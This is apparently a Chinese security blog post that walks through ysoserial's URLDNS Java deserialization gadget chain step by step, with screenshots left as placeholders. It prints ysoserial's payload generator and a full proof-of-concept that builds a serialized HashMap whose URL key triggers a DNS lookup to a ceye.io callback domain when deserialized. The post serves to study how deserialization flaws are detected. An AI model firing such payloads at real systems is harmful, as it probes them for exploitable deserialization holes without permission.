前言

跟着网上的文章理解了一遍yso 中的urldns,还是比较好理解:

分析

拖到idea中,maven会自动加载依赖

yso给出gadget Chain

请输入图片描述

入口:

public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

由于反序列化入口点是readobject 直接跟一下:

hashmap 的readobject

image.png

这里最后调用了hahs出来key,key是通过反序列来的。

image.png

hash方法中,key.hashCode(),以为着可以调用任意类的hashcode方法,yso中调用的是url的hashcode

image.png

handler 有定义:

image.png

这里使用transient 修饰,在序列化的时候并不会将handler 进行序列化

image.png

该hashCode方法先判断协议,在调用了getHostAddress方法:

image.png

最终调用了getBynema,该方法会进行dns查询,至此分析完毕

poc编写

出发点是key,通过readobjct 获取,可以在writeoject写入:

image.png

image.png

hashMap 提供了一个put写入键和值

image.png

但是put写入会进行一次dns解析;

看看yso如何处理的:

image.png

URL 3个参数的构造方法:

image.png

其中会进行一次:

image.png

将handler修改为我们定义的:

image.png

采用子类继承父类,当调用getHostAddress的时候返回Null。避免了第一次urldns

最后还需要进行一次反射

image.png

修改hashcode 为-1

image.png

在hashcode 之前会判断hashCode

利用:

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("zerobs.bin"));

    Object test = ois.readObject();
    System.out.println(test);

image.png

很快ceye上就会有记录;

这是yso中最简单的gadget链子,但是在检测反序列化的时候都是先用urldns来判断是否存在反序列化漏洞。

下面还可以通过反射来避免第一次dns解析

参考p1g3师傅的payload:

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;

public class first {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://eo5zf8.ceye.io/");
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true); // 修改访问权限
        f.set(url,123);
        System.out.println(url.hashCode()); // 获取hashCode的值,验证是否修改成功
        map.put(url,123); // 调用map.put 此时将不会再触发dns查询
        f.set(url,-1); // 将url的hashCode重新设置为-1。确保在反序列化时能够成功触发

        try{
            FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");
           ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
            outputStream.writeObject(map);
            outputStream.close();
            fileOutputStream.close();

            FileInputStream fileInputStream = new FileInputStream("./urldns.ser");
            ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
            inputStream.readObject();
            inputStream.close();
            fileInputStream.close();
        }catch(Exception e){
            e.printStackTrace();
        }

    }
}

采用两次反射来避免第一次dns解析

Last modification:February 4th, 2021 at 01:24 pm